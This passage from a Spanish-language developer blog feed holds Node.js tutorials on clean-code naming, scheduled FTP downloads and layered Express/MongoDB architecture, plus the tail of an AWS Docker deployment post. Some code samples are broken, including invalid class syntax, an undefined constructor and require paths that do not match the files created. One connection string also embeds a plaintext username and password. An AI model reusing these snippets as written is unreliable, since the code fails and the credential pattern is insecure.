sudo curl -L <span class="hljs-string">"https://github.com/docker/compose/releases/download/<span class="hljs-variable">$DC_VERSION</span>/docker-compose-<span class="hljs-subst">$(uname -s)</span>-<span class="hljs-subst">$(uname -m)</span>"</span> -o /usr/<span class="hljs-built_in">local</span>/bin/docker-compose
sudo chmod +x /usr/<span class="hljs-built_in">local</span>/bin/docker-compose
docker-compose --version

<span class="hljs-comment"># Download repository, build and run containers</span>
git <span class="hljs-built_in">clone</span> https://github.com/brahianpdev/tryhard-devops

<span class="hljs-built_in">cd</span> tryhard-devops

docker-compose build --no-cache
docker-compose up -d

docker ps

<span class="hljs-built_in">echo</span> <span class="hljs-string">"Finish!"</span>
</code></pre>
<p>Copie el script anterior en un portapapeles, o téngalo a mano.
Desde su consola de AWS, cree un archivo con el nombre que desee y dele permisos de ejecución.</p>
<pre><code>touch automation.sh
chmod +x automation.sh
</code></pre><p>Luego, abra dicho archivo en nano:</p>
<pre><code>nano automation.sh
</code></pre><p>Pegue el script, guarde y salga del editor.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663349665546/rOgfyDbdZ.jpg" alt="nano script bash.jpg" />
Por último, ejecute el script:</p>
<pre><code>./automation.sh
</code></pre><p>En algún momento de este proceso, se le pedirá que presione la tecla ENTER.
Una vez finalizado, escribimos <code>exit</code> para desconectarnos de SSH.</p>
<p><strong>Grupos de seguridad</strong>
Nota al margen, es que, dado que nuestra aplicación de Node está corriendo en el puerto 3000, debemos habilitar dicho puerto en los grupos de seguridad de nuestra instancia.</p>
<p>Para ello, nos vamos a Instancias &gt; Seguridad &gt; Grupos de seguridad.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663350399368/dSCyzjWYF.jpg" alt="sg rules.jpg" /></p>
<p>Por último, debemos comprobar el deploy de nuestra aplicación de Node en AWS.</p>
<p>Para hacerlo, seleccionamos nuestra instancia, y copiamos la Dirección IPv4 pública, a la cual le agregaremos después de dos puntos <code>:</code> el puerto 3000 de nuestra aplicación de Node, de la siguiente manera:</p>
<pre><code><span class="hljs-number">00.000</span><span class="hljs-number">.000</span><span class="hljs-number">.00</span>:<span class="hljs-number">3000</span>
</code></pre><p>Si puedes apreciar el mensaje que responde tu aplicación de Node, el deploy se ha realizado de forma exitosa.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1663350637681/LySfqMKBY.jpg" alt="success.jpg" /></p>
<h2 id="heading-agradecimientos">Agradecimientos</h2>
<p>Un especial agradecimiento a <a target="_blank" href="https://www.linkedin.com/in/roxsross/">Rosana Suárez</a> alias Roxross, DevSecops en Naranja X, quien dictó el <a target="_blank" href="https://www.youtube.com/channel/UCa-FcaB75ZtqWd1YCWW6INQ">bootcamp gratuito de DevOps</a> abarcando fuertes pilares de forma práctica.  </p>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Parámetros de alerta para escribir buen código]]></title><description><![CDATA[Muchas veces nos encontramos ante código ilegible o imcomprensible por diversas razones. Este breve artículo intentará abarcar una cierta parametrización de alerta con fin de que de aquí en más, nuestro código sea limpio, legible y entendible.
Todo l...]]></description><link>https://blog.brahianpdev.com/parametros-de-alerta-para-escribir-buen-codigo</link><guid isPermaLink="true">https://blog.brahianpdev.com/parametros-de-alerta-para-escribir-buen-codigo</guid><category><![CDATA[Node.js]]></category><category><![CDATA[clean code]]></category><category><![CDATA[best practices]]></category><category><![CDATA[architecture]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Thu, 08 Sep 2022 01:17:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/R8C2nUoSMfc/upload/v1662599234241/xrij1ClS8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Muchas veces nos encontramos ante código ilegible o imcomprensible por diversas razones. Este breve artículo intentará abarcar una cierta parametrización de alerta con fin de que de aquí en más, nuestro código sea limpio, legible y entendible.</p>
<p>Todo lenguaje de programación tiene una sintáxis a la cual adherirse. Según la tecnología que trabajemos, existirán ciertas convenciones o nomenclaturas de nombramiento u orden que los componentes interconectados en nuestra aplicación deberán respetar.</p>
<p>Por practicidad, los ejemplos a continuación estarán escritos para una aplicación de Node basada en una arquitectura en capas, sin embargo, conceptualmente, se puede trasladar a cualquier tecnología.</p>
<p><strong>Nomenclatura o convenciones para un código consistente</strong></p>
<p><strong>Variables y funciones:</strong> </p>
<p>Siempre deben escribirse en camelCase, haciendo referencia explícita a lo que se alojará en ellas. <em>Esto aplica también para las carpetas (salvo por el camelCase, que no).</em></p>
<pre><code class="lang-js"><span class="hljs-comment">// BAD PRACTICE</span>
<span class="hljs-keyword">const</span> products = <span class="hljs-keyword">await</span> productRepository.getPrimaries();

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">search</span> (<span class="hljs-params"></span>) </span>{
   <span class="hljs-comment">// search some products</span>
}
</code></pre>
<pre><code class="lang-js"><span class="hljs-comment">// GOOD PRACTICE</span>
<span class="hljs-keyword">const</span> primaryProducts = <span class="hljs-keyword">await</span> productRepository.getPrimaries();

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">searchProducts</span> (<span class="hljs-params"></span>) </span>{
   <span class="hljs-comment">// search some products</span>
}
</code></pre>
<p>Una práctica habitual trabajando en Node, es hacer el uso de clases de la siguiente manera:</p>
<pre><code class="lang-js"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">search</span> () </span>{
   <span class="hljs-keyword">constructor</span>() {}

   <span class="hljs-keyword">async</span> products() {
      <span class="hljs-comment">// search some products</span>
   }

   <span class="hljs-keyword">async</span> categories() {
      <span class="hljs-comment">// search some categories</span>
   }
}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> searchMethods();


<span class="hljs-comment">// USAGE</span>
<span class="hljs-keyword">const</span> search = <span class="hljs-built_in">require</span>(...path);

<span class="hljs-keyword">const</span> products = search().products();
</code></pre>
<p>De esta forma, entendemos que, nuestra clase search, tiene un método para buscar productos, otro para buscar categorías, etc. Entonces no es necesario declarar una función llamada searchProducts. </p>
<p>Habiendo visto estos puntos sencillos, pero que muchas veces suelen olvidarse, podemos resumir que la importancia general está en el correcto nombramiento de las cosas.</p>
<p><strong>Parámetros de alerta</strong></p>
<ul>
<li>Si maneja lógica de negocios ⇒ <strong>Services</strong></li>
<li>Si necesita usar request o response ⇒ <strong>Controller</strong></li>
<li>Si necesita interactuar con la base de datos ⇒ <strong>Repository</strong></li>
<li>Si solo define el modelo de la base de datos ⇒ <strong>Model</strong></li>
<li>Si se usa para configurar o exponer datos especificos ⇒ <strong>Config</strong></li>
</ul>
<p>Cabe destacar que estos parámetros si bien aplican a arquitecturas de software como en capas, o modular, pueden haber situaciones donde dichos parámetros se desvirtuen un poco en cuánto al lugar donde se alojarán, pero no a lo que hacen referencia.</p>
<p>Cuando trabajamos sobre <a target="_blank" href="https://brahianpdev.rocks/introduccion-al-backend-con-arquitectura-en-capas">arquitectura en capas</a> tenemos el formato mencionado en los parámetros de alerta, mientras que si fuese modular, tendríamos todas las funciones (services, controllers, repositories, etc), por módulo. Así mismo, tendría ciertos cambios si fuese hexagonal.</p>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Descargar archivos de FTP usando NodeJS]]></title><description><![CDATA[Esto no es una continuación del artículo anterior, sin embargo, a efectos prácticos, se usará el repositorio creado anteriormente para ver cómo sincronizarnos a un servidor FTP, descargar un archivo de un proveedor, guardarlo temporalmente de forma l...]]></description><link>https://blog.brahianpdev.com/descargar-archivos-de-ftp-usando-nodejs</link><guid isPermaLink="true">https://blog.brahianpdev.com/descargar-archivos-de-ftp-usando-nodejs</guid><category><![CDATA[Node.js]]></category><category><![CDATA[Beginner Developers]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[ Best Practices for Developers]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Tue, 30 Aug 2022 01:56:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/0LAJfSNa-xQ/upload/v1661824495880/YF8fz0ZLZ.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Esto no es una continuación del artículo anterior, sin embargo, a efectos prácticos, se usará el <a target="_blank" href="https://brahianpdev.rocks/introduccion-al-backend-con-arquitectura-en-capas">repositorio creado anteriormente</a> para ver cómo sincronizarnos a un servidor FTP, descargar un archivo de un proveedor, guardarlo temporalmente de forma local y desconectarnos.</p>
<h1 id="heading-requisitos-necesarios">Requisitos necesarios</h1>
<h3 id="heading-instalaciones">Instalaciones</h3>
<ul>
<li><a target="_blank" href="https://www.npmjs.com/package/basic-ftp">Basic-FTP</a></li>
<li><a target="_blank" href="https://www.npmjs.com/package/node-cron">Cron</a></li>
<li><a target="_blank" href="https://www.npmjs.com/package/uuid">Uuid</a></li>
</ul>
<p>Necesitaremos tener instaladas las dependencias mencionadas anteriormente. Para ello, bastaría con ejecutar en una sola línea:</p>
<pre><code class="lang-bash">npm i node-cron uuid basic-ftp
</code></pre>
<h1 id="heading-comenzamos-a-codear">Comenzamos a codear</h1>
<h3 id="heading-raiz-de-la-aplicacion">Raíz de la aplicación</h3>
<p>Comenzaremos editando nuestro <strong>index.js</strong>, agregando un cron schedule para definir el horario de sincronización. Quedándonos de la siguiente forma: </p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> mongoose = <span class="hljs-built_in">require</span>(<span class="hljs-string">"mongoose"</span>);
<span class="hljs-keyword">const</span> cors = <span class="hljs-built_in">require</span>(<span class="hljs-string">"cors"</span>);
<span class="hljs-keyword">const</span> cron = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node-cron'</span>);

<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config/config'</span>);
<span class="hljs-keyword">const</span> cronjobService = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./services/cron.service'</span>);
<span class="hljs-keyword">const</span> indexRoutes = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./routes'</span>);

mongoose
  .connect(config.db.mongo)
  .then(<span class="hljs-function">(<span class="hljs-params">res</span>) =&gt;</span> {

    <span class="hljs-keyword">const</span> app = express();

    app.use(
      express.urlencoded({
        <span class="hljs-attr">extended</span>: <span class="hljs-literal">true</span>,
      })
    );

    app.use(express.json());

    app.use(cors());

    app.use(<span class="hljs-string">"/"</span>, indexRoutes);

    cron.schedule(<span class="hljs-string">'00 22 * * *'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
      cronjobService.scrapProvider();
    });

    app.listen(config.app.port, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`🔥 Server is running at port <span class="hljs-subst">${config.app.port}</span>`</span>);
    });

    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Connected to MongoDB"</span>);
  })
  .catch(<span class="hljs-function">(<span class="hljs-params">error</span>) =&gt;</span> <span class="hljs-built_in">console</span>.log(error));
</code></pre>
<p>Como se ve, nuestro cron schedule, hace uso de nuestro cronjobService, pero éste no está definido. Dentro de la carpeta <strong>services</strong>, crearemos un archivo llamado <strong>cron.service.js</strong></p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> scrapperService = <span class="hljs-built_in">require</span>(<span class="hljs-string">"./scrapper.service"</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CronJobService</span> </span>{
    <span class="hljs-keyword">constructor</span>() { }

    <span class="hljs-keyword">async</span> scrapProvider() {
        <span class="hljs-keyword">await</span> scrapperService.scrap();
    }

}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> CronJobService();
</code></pre>
<h3 id="heading-services">Services</h3>
<p>Nuevamente, tenemos una importación que no está definida. Por ende, dentro de la carpeta <strong>services</strong>, crearemos un archivo llamado <strong>scrapper.service.js</strong> </p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> provider = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../scrappers/provider.js'</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ScrapperService</span> </span>{
    <span class="hljs-keyword">constructor</span>() { }

    <span class="hljs-keyword">async</span> scrap() {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> provider.scrap();
    }
}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> ScrapperService();
</code></pre>
<p>Como se aprecia en las importaciones, hemos importado a nuestro proveedor. Que también es un scrapper a definir. Por ende, crearemos una carpeta <strong>scrapers</strong> a la altura de src. Y dentro de esta, un archivo llamado <strong>provider.js</strong></p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> ftpService = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../services/ftp.service'</span>);
<span class="hljs-keyword">const</span> { provider } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'../config'</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Scrapper</span> </span>{
    <span class="hljs-keyword">constructor</span>(config) {
        <span class="hljs-built_in">this</span>.ftpService = <span class="hljs-keyword">new</span> ftpService(config);
    }

    <span class="hljs-keyword">async</span> scrap() {
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.ftpService.run();
    }
}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> Scrapper(provider);
</code></pre>
<p>En última instancia, por fin, se hace uso de nuestro servicio de FTP, el que se encargará de procesar las credenciales que vienene desde nuestro archivo de configuración, para saber cuál es el proveedor en cuestión y acceder efectivamente al servidor de FTP. </p>
<p>Para ello, crearemos, dentro de la carpeta <strong>services</strong>, un archivo llamado <strong>ftp.services.js</strong> </p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> ftp = <span class="hljs-built_in">require</span>(<span class="hljs-string">"basic-ftp"</span>);

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FtpService</span> </span>{
    <span class="hljs-keyword">constructor</span>(config) {

        <span class="hljs-built_in">this</span>.credentials = config.credentials;
        <span class="hljs-built_in">this</span>.localPath = config.localPath;
        <span class="hljs-built_in">this</span>.remotePath = config.remotePath;

        <span class="hljs-built_in">this</span>.client = <span class="hljs-keyword">new</span> ftp.Client();
    }

    <span class="hljs-keyword">async</span> run() {
        <span class="hljs-built_in">this</span>.client.ftp.verbose = <span class="hljs-literal">true</span>;
        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.client.access(<span class="hljs-built_in">this</span>.credentials);
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Connected to FTP'</span>);

        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.download();
        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.disconnect();
    }

    <span class="hljs-keyword">async</span> download() {
        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.client.downloadTo(<span class="hljs-built_in">this</span>.localPath, <span class="hljs-built_in">this</span>.remotePath);
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Downloaded file from FTP'</span>);
    }

    <span class="hljs-keyword">async</span> disconnect() {
        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.client.close();
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Disconnected from FTP'</span>);
    }
}

<span class="hljs-built_in">module</span>.exports = FtpService;
</code></pre>
<p>Si se han fijado, anteriormente una de las importaciones es, precisamente una destructuración de provider, que viene desde un archivo de configuración. Sin embargo, éste aún, no está definido. Para ello, dentro de <strong>src</strong>, en la carpeta <strong>config</strong>, crearemos un archivo llamado <strong>provider.js</strong></p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">"path"</span>);

<span class="hljs-built_in">module</span>.exports = {
    <span class="hljs-attr">credentials</span>: {
        <span class="hljs-attr">host</span>: process.env.FTP_HOST,
        <span class="hljs-attr">user</span>: process.env.FTP_USER,
        <span class="hljs-attr">password</span>: process.env.FTP_PASSWORD,
        <span class="hljs-attr">port</span>: process.env.FTP_PORT,
    },
    <span class="hljs-attr">localPath</span>: path.join(__dirname, <span class="hljs-string">"../temp"</span>, <span class="hljs-string">"provider.csv"</span>),
    <span class="hljs-attr">remotePath</span>: <span class="hljs-string">'provider.csv'</span>,
}
</code></pre>
<p><strong><em>Nota: El puerto default de un servidor FTP, es 21 además, es necesario crear, a la altura de src, una carpeta llamada temp, donde se almacenará nuestro provider.csv</em></strong></p>
<h1 id="heading-config">Config</h1>
<p>Una vez tenemos definida nuestras credenciales en nuestro archivo de configuración, procedemos a crear un índice dentro de la misma carpeta <strong>config</strong>. Por ello, crearemos un archivo <strong>index.js</strong></p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> providerConfig = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../config/providers"</span>);

<span class="hljs-built_in">module</span>.exports = {
  <span class="hljs-attr">provider</span>: providerConfig,
}
</code></pre>
<h1 id="heading-routes">Routes</h1>
<p>En esta instancia, tenemos desarrollada nuestra feature con las capas de abstracción correspondientes. Por lo que podemos simplemente, cambiar la hora en nuestro cron schedule para testear que, efectivamente funcione, o, mejor aún, podemos crear un endpoint para testear nuestra implementación de forma manual.</p>
<p>Dentro de nuestra carpeta <strong>routes</strong>, crearemos un archivo llamado <strong>test.route.js</strong> que haga uso, de nuestro cronjobService, el primer punto de nuestro flujo definido anteriormente.</p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> { Router } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> routes = Router();

<span class="hljs-keyword">const</span> cronjobService = <span class="hljs-built_in">require</span>(<span class="hljs-string">"../services/cron.service"</span>);

routes.post(<span class="hljs-string">'/ftp'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    cronjobService.scrapProvider();

    res.status(<span class="hljs-number">200</span>).send(<span class="hljs-string">'Ok'</span>);
});

<span class="hljs-built_in">module</span>.exports = routes;
</code></pre>
<p>Nuevamente, dentro de la carpeta <strong>routes</strong>, debemos agregar el nuevo archivo de rutas a nuestro índice, por ello, dentro de <strong>index.js</strong>, agregamos lo siguiente:</p>
<pre><code class="lang-jsx"><span class="hljs-keyword">const</span> { Router } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> routes = Router();

<span class="hljs-keyword">const</span> productsRoutes = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./products.route'</span>);
<span class="hljs-keyword">const</span> testRoutes = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./test.route'</span>);

routes.use(<span class="hljs-string">'/products'</span>, productsRoutes);
routes.use(<span class="hljs-string">'/test'</span>, testRoutes);

<span class="hljs-built_in">module</span>.exports = routes;
</code></pre>
<p>¡Hasta pronto 👋!</p>
<blockquote>
<p>Si deseas colaborar con el contenido, <a target="_blank" href="https://ko-fi.com/brahianpdev">regalame un cafecito</a> ☕</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Introducción al backend con arquitectura en capas]]></title><description><![CDATA[Esta es una guía de introducción a arquitectura en capas utilizando estas tecnologias. Dicha arquitectura, proveerá de fácil abstracción, escalabilidad, y fácil mantención del mismo. A efectos prácticos, recomiendo leer el artículo enlazado anteriorm...]]></description><link>https://blog.brahianpdev.com/introduccion-al-backend-con-arquitectura-en-capas</link><guid isPermaLink="true">https://blog.brahianpdev.com/introduccion-al-backend-con-arquitectura-en-capas</guid><category><![CDATA[backend developments]]></category><category><![CDATA[best practices]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[leyered architecture]]></category><dc:creator><![CDATA[Brahian Pereyra]]></dc:creator><pubDate>Wed, 24 Aug 2022 18:58:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/Sc5RKXLBjGg/upload/v1661367712442/r_Q5V23a_.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Esta es una guía de introducción a arquitectura en capas utilizando estas tecnologias. Dicha arquitectura, proveerá de fácil abstracción, escalabilidad, y fácil mantención del mismo. A efectos prácticos, recomiendo leer el artículo enlazado anteriormente, previo a leer éste mini artículo que será de carácter meramente práctico. </p>
<h1 id="heading-requisitos-necesarios">Requisitos necesarios</h1>
<p><a target="_blank" href="https://nodejs.org/es/">Node (versión LTS)</a></p>
<p><a target="_blank" href="https://expressjs.com/es/">Express</a></p>
<p><a target="_blank" href="https://mongoosejs.com/">Mongoose</a> </p>
<p><a target="_blank" href="https://www.mongodb.com/">MongoDB</a></p>
<p><a target="_blank" href="https://www.postman.com/">Postman</a></p>
<h1 id="heading-crea-tu-base-de-datos-de-mongodb">Crea tu base de datos de MongoDB</h1>
<p>Crearemos una cuenta desde la <a target="_blank" href="https://www.mongodb.com/es/cloud/atlas/register">web oficial</a>, aceptaremos los términos y condiciones. Definiremos los datos básicos de nuestra aplicación y seleccionaremos la versión gratuita.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661366423636/yqlT7Po8G.png" alt="image.png" /></p>
<p>Una vez hemos creado nuestro cluster (esto puede tardar unos minutos), definiremos el usuario y contraseña de nuestra base de datos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661366435147/Jx2LyI-xi.png" alt="image.png" /></p>
<p>Una vez hemos creado nuestro usuario, debemos ir a Network Access (situado a la izquierda del panel de administración), y agregar una dirección IP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661366454837/s2mAEsNU9.png" alt="image.png" /></p>
<p>Una vez tenemos nuestro cluster, usuario e IP, podemos ir a la sección Database (situada a la izquierda del panel, en la parte superior), y elegir el método de conexión. Para este caso, elegiremos “Connect your application”. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661366471227/iJ-Y7CoCn.png" alt="image.png" /></p>
<p>Esto nos mostrará la URL de conexión a nuestra base de datos. Sin embargo, no muestra la contraseña establecida anteriormente. Para configurarlo correctamente, debemos eliminar los símbolos de menor y mayor, y escribir el valor de la contraseña en lugar de la palabra password.</p>
<pre><code class="lang-bash">mongodb+srv://brahiblog:brahiblog@cluster0.hfisa.mongodb.net/?retryWrites=<span class="hljs-literal">true</span>&amp;w=majority
</code></pre>
<p><strong><em>(Esta es una url de prueba. Recuerda, JAMÁS exponer datos sensibles de una aplicación real).</em></strong></p>
<h1 id="heading-lectura-function-vs-class">Lectura: function vs class</h1>
<p>El pensar en un backend con export functions, supone una carga innecesaria de exportaciones e importaciones. Por otro lado, al usar clases bastaria solo una exportación e importación de la misma para tener acceso a todos sus métodos.
Veamos un ejemplo con funciones:</p>
<pre><code class="lang-js"><span class="hljs-comment">// export functions</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">SayHello</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Hello"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">SayBye</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Bye"</span>);
}

<span class="hljs-built_in">module</span>.exports = { SayHello, SayBye };
</code></pre>
<pre><code class="lang-js"><span class="hljs-comment">// import functions</span>
<span class="hljs-keyword">const</span> { SayHello, SayBye } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./export-function'</span>);

SayHello();
SayBye();
</code></pre>
<p>Ahora veamos un ejemplo con clases:</p>
<pre><code class="lang-js"><span class="hljs-comment">// export class</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Say</span> </span>{
    <span class="hljs-keyword">async</span> hello () {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Hello"</span>);
    }

    <span class="hljs-keyword">async</span> bye () {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Bye"</span>);
    }
}

<span class="hljs-built_in">module</span>.exports = <span class="hljs-keyword">new</span> Say();
</code></pre>
<pre><code class="lang-js"><span class="hljs-comment">// import class</span>
<span class="hljs-keyword">const</span> sayClass = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./export-class'</span>);

sayClass.hello();
sayClass.bye();
</code></pre>
<p>Si ejecutamos respectivos archivos en nuestra consola, obtendremos el mismo resultado. </p>
<pre><code class="lang-bash">&gt; node import-function
Hello
Bye
&gt; node import-class
Hello
Bye
</code></pre>
<p>Habiendo visto esta sutil diferencia, vamos a definir la estructura a seguir.</p>
<h1 id="heading-estructura-a-seguir">Estructura a seguir</h1>
<pre><code>Arquitectura de <span class="hljs-number">4</span> capas

src
│   index.ts        # App entry point
└───controllers     # route controllers <span class="hljs-keyword">for</span> all the endpoints <span class="hljs-keyword">of</span> the app
└───config          # Environment variables and configuration related stuff
└───models          # Database models
└───repositories    # Custom queries to database
└───services        # All the business logic is here
└───routes          # Express.js entry points to controllers
</code></pre><p><strong>Problema a resolver</strong></p>
<p>Una empresa está creciendo, y necesita un sistema donde pueda tener un registro de sus productos. Dentro de las funcionalidades que pide están, crear un nuevo producto, obtener todos los productos, obtener un producto específico, editar un producto específico y eliminar un producto específico. 
En otras palabras, se pide crear un CRUD de productos con sus respectivos endpoints.</p>
<h1 id="heading-comenzamos-a-codear">Comenzamos a codear</h1>
<p>Iniciar proyecto e instalación de dependencias
Primero debemos inicializar nuestro proyecto de node, para ello, en terminal escribimos:</p>
<pre><code>npm init --y
</code></pre><p>Se nos crearán dos archivos en nuestro proyecto (package.json y package-lock.json). 
Ahora debemos instalar las dependencias necesarias para construir nuestro servidor web.</p>
<pre><code>npm i express cors mongoose dotenv
</code></pre><p>Express, es el framework que usaremos sobre Node. Cors es quien controla el acceso del protocolo HTTP, y Mongoose el ODM que usaremos para crear nuestros modelos de nuestra base de datos. Dotenv, será quien cargue las variables de entorno desde un archivo .env a nuestro process.env y almacenará dicha configuración.</p>
<p>Además, para facilitar la tarea de desarrollo usaremos una utilidad llamada nodemon, la que nos permitirá correr nuestro proyecto y refrescar los cambios de forma automática en tiempo real.</p>
<pre><code>npm i nodemon -D
</code></pre><p>El flag -D indica que nodemon será utilizado como dependencia de desarrollo.</p>
<h1 id="heading-configuraciones-iniciales">Configuraciones iniciales</h1>
<p>Una vez tenemos nuestras dependencias instaladas, y conociendo la estructura que tendrá nuestro proyecto, podemos adelantarnos a configurar nodemon y la raíz de nuestro proyecto. Para ello, debemos ir a nuestro archivo llamado package.json</p>
<pre><code>{
  <span class="hljs-string">"main"</span>: <span class="hljs-string">"src/index.js"</span>,
  <span class="hljs-string">"scripts"</span>: {
        <span class="hljs-string">"dev"</span>: <span class="hljs-string">"nodemon ."</span>,
    <span class="hljs-string">"start"</span>: <span class="hljs-string">"node ."</span>
  },
}
</code></pre><h1 id="heading-raiz-de-la-aplicacion">Raiz de la aplicación</h1>
<p>En el paso anterior, hemos configurado el punto de entrada de nuestra aplicación. Para que esto funcione, dentro de la carpeta src, crearemos un archivo llamado index.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">"express"</span>);
<span class="hljs-keyword">const</span> mongoose = <span class="hljs-built_in">require</span>(<span class="hljs-string">"mongoose"</span>);
<span class="hljs-keyword">const</span> cors = <span class="hljs-built_in">require</span>(<span class="hljs-string">"cors"</span>);

<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>);
<span class="hljs-keyword">const</span> indexRoutes = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./routes'</span>);

mongoose
  .connect(config.db.mongo)
  .then(<span class="hljs-function">(<span class="hljs-params">res</span>) =&gt;</span> {

    <span class="hljs-keyword">const</span> app = express();

    app.use(
      express.urlencoded({
        <span class="hljs-attr">extended</span>: <span class="hljs-literal">true</span>,
      })
    );

    app.use(express.json());

    app.use(cors());

    app.use(<span class="hljs-string">"/"</span>, indexRoutes);

    app.listen(config.app.port, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`🔥 Server is running at port <span class="hljs-subst">${config.app.port}</span>`</span>);
    });

    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Connected to MongoDB"</span>);
  })
  .catch(<span class="hljs-function">(<span class="hljs-params">error</span>) =&gt;</span> <span class="hljs-built_in">console</span>.log(error));
</code></pre>
<h1 id="heading-configuracion-de-variables-de-entorno">Configuración de variables de entorno</h1>
<p>Se puede observar, que en nuestro punto de entrada de nuestra aplicación estamos utilizando valores provenientes de la carpeta config mediante template strings, sin embargo, aún no lo hemos configurado. Para realizarlo, dentro de la carpeta config, crearemos un archivo llamado index.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> dotenv = <span class="hljs-built_in">require</span>(<span class="hljs-string">"dotenv"</span>);
dotenv.config();

<span class="hljs-keyword">const</span> { MONGO_URL, PORT_APP } = process.env;

<span class="hljs-keyword">const</span> config = {
  <span class="hljs-attr">db</span>: {
    <span class="hljs-attr">mongo</span>: MONGO_URL,
  },
  <span class="hljs-attr">app</span>: {
    <span class="hljs-attr">port</span>: PORT_APP,
